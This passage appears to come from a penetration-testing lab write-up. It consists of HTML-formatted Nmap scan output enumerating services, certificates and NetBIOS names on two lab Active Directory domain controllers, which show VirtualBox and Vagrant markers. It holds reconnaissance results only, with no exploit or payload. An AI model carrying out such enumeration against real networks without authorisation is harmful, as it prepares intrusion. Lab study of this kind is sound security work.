style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNmap scan report \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e 192.168.56.10\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePORT      STATE SERVICE       VERSION\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e53/tcp    open  domain        Simple DNS Plus\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e80/tcp    open  http          Microsoft IIS httpd 10.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-server-header: Microsoft-IIS/10.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| http-methods: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   Supported Methods: OPTIONS TRACE GET HEAD POST\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  Potentially risky methods: TRACE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-title: IIS Windows Server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e88/tcp    open  kerberos-sec  Microsoft Windows Kerberos \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eserver time: 2025-09-06 17:10:15Z\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e135/tcp   open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e389/tcp   open  ldap          Microsoft Windows Active Directory LDAP \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eDomain: ninja.hack0., Site: Default-First-Site-Name\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:06+00:00; -1s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003edc-vil.ninja.hack\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:dc-vil.ninja.hack\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eNINJA-CA\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e2048\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-09-02T14:15:35\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2026-09-02T14:15:35\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   66fe:7620:d7c3:d5b1:cda1:4d26:dcb4:1f6c\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 6887:c456:112c:2ed8:94d3:0297:dd70:d59c:67aa:1a7f\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e445/tcp   open  microsoft-ds?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e464/tcp   open  kpasswd5?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eDomain: ninja.hack0., Site: Default-First-Site-Name\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003edc-vil.ninja.hack\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:dc-vil.ninja.hack\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eNINJA-CA\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e2048\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-09-02T14:15:35\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2026-09-02T14:15:35\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   66fe:7620:d7c3:d5b1:cda1:4d26:dcb4:1f6c\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 6887:c456:112c:2ed8:94d3:0297:dd70:d59c:67aa:1a7f\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eDomain: ninja.hack0., Site: Default-First-Site-Name\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003edc-vil.ninja.hack\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:dc-vil.ninja.hack\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eNINJA-CA\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e2048\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-09-02T14:15:35\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2026-09-02T14:15:35\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   66fe:7620:d7c3:d5b1:cda1:4d26:dcb4:1f6c\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 6887:c456:112c:2ed8:94d3:0297:dd70:d59c:67aa:1a7f\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eDomain: ninja.hack0., Site: Default-First-Site-Name\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003edc-vil.ninja.hack\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:\u0026lt;unsupported\u0026gt;, DNS:dc-vil.ninja.hack\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eNINJA-CA\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e2048\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-09-02T14:15:35\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2026-09-02T14:15:35\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   66fe:7620:d7c3:d5b1:cda1:4d26:dcb4:1f6c\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 6887:c456:112c:2ed8:94d3:0297:dd70:d59c:67aa:1a7f\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e3389/tcp  open  ms-wbt-server Microsoft Terminal Services\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003edc-vil.ninja.hack\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003edc-vil.ninja.hack\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e2048\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-09-01T12:29:13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2026-03-03T12:29:13\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   2f5b:ea35:1df1:d9a8:f7a5:a0ab:078b:1f05\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 0ec2:e105:bb4e:a168:58ba:7e26:ff30:85aa:3a46:e89f\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eSSDP/UPnP\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-title: Not Found\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-server-header: Microsoft-HTTPAPI/2.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eSSDP/UPnP\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-title: Not Found\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eVAGRANT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eVAGRANT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e4096\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-08-31T10:27:02\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2028-08-30T10:27:02\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   70e6:540d:00ac:0a19:12ba:b2fd:ae3b:1509\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 3365:8276:a074:3f12:0caa:04cf:1652:70cc:870c:d8a3\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| tls-alpn: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  http/1.1\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-server-header: Microsoft-HTTPAPI/2.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:05+00:00; 0s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e9389/tcp  open  mc-nmf        .NET Message Framing\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49666/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49668/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49669/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49670/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49671/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49678/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49683/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49698/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e49708/tcp open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eService Info: Host: DC-VIL; OS: Windows; CPE: cpe:/o:microsoft:windows\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHost script results:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| smb2-time: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   date: 2025-09-06T17:11:24\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  start_date: N/A\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| smb2-security-mode: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   3:1:1: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_    Message signing enabled and required\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| nbstat: NetBIOS name: DC-VIL, NetBIOS user: \u0026lt;unknown\u0026gt;, NetBIOS MAC: 08:00:27:85:62:4b \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ePCS Systemtechnik/Oracle VirtualBox virtual NIC\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Names:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   DC-VIL\u0026lt;00\u0026gt;           Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   NINJA\u0026lt;00\u0026gt;            Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   NINJA\u0026lt;1c\u0026gt;            Flags: \u0026lt;group\u0026gt;\u0026lt;active\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   DC-VIL\u0026lt;20\u0026gt;           Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  NINJA\u0026lt;1b\u0026gt;            Flags: \u0026lt;unique\u0026gt;\u0026lt;active\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNmap scan report \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e 192.168.56.20\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHost is up \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0.010s latency\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eNot shown: \u003cspan style=\"color:#ae81ff\"\u003e65512\u003c/span\u003e filtered tcp ports \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eno-response\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSome closed ports may be reported as filtered due to --defeat-rst-ratelimit\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePORT      STATE SERVICE       VERSION\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e53/tcp    open  domain        Simple DNS Plus\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e88/tcp    open  kerberos-sec  Microsoft Windows Kerberos \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eserver time: 2025-09-06 17:10:15Z\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e135/tcp   open  msrpc         Microsoft Windows RPC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e389/tcp   open  ldap          Microsoft Windows Active Directory LDAP \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eDomain: academy.ninja.lan, Site: Default-First-Site-Name\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e445/tcp   open  microsoft-ds?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e464/tcp   open  kpasswd5?\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e636/tcp   open  tcpwrapped\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eDomain: academy.ninja.lan, Site: Default-First-Site-Name\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e3269/tcp  open  tcpwrapped\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e3389/tcp  open  ms-wbt-server Microsoft Terminal Services\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:06+00:00; 0s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| rdp-ntlm-info: \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   Target_Name: ACADEMY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   NetBIOS_Domain_Name: ACADEMY\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   NetBIOS_Computer_Name: DC-AC\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   DNS_Domain_Name: academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   DNS_Computer_Name: dc-ac.academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   DNS_Tree_Name: academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|   Product_Version: 10.0.17763\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_  System_Time: 2025-09-06T17:11:16+00:00\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003edc-ac.academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003edc-ac.academy.ninja.lan\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key type: rsa\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Public Key bits: \u003cspan style=\"color:#ae81ff\"\u003e2048\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Signature Algorithm: sha256WithRSAEncryption\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid before: 2025-09-01T12:27:27\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Not valid after:  2026-03-03T12:27:27\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| MD5:   1dd8:cd11:f35c:b997:c745:3e33:6040:6d15\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_SHA-1: 539b:7091:f7c8:f413:bad2:af88:fd35:b931:5431:54b8\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eSSDP/UPnP\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-server-header: Microsoft-HTTPAPI/2.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-title: Not Found\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eSSDP/UPnP\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_http-server-header: Microsoft-HTTPAPI/2.0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e|_ssl-date: 2025-09-06T17:12:07+00:00; 0s from scanner time.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| ssl-cert: Subject: commonName\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eVAGRANT\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Subject Alternative Name: DNS:VAGRANT, DNS:vagrant\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e| Issuer: commonName\u003cspan 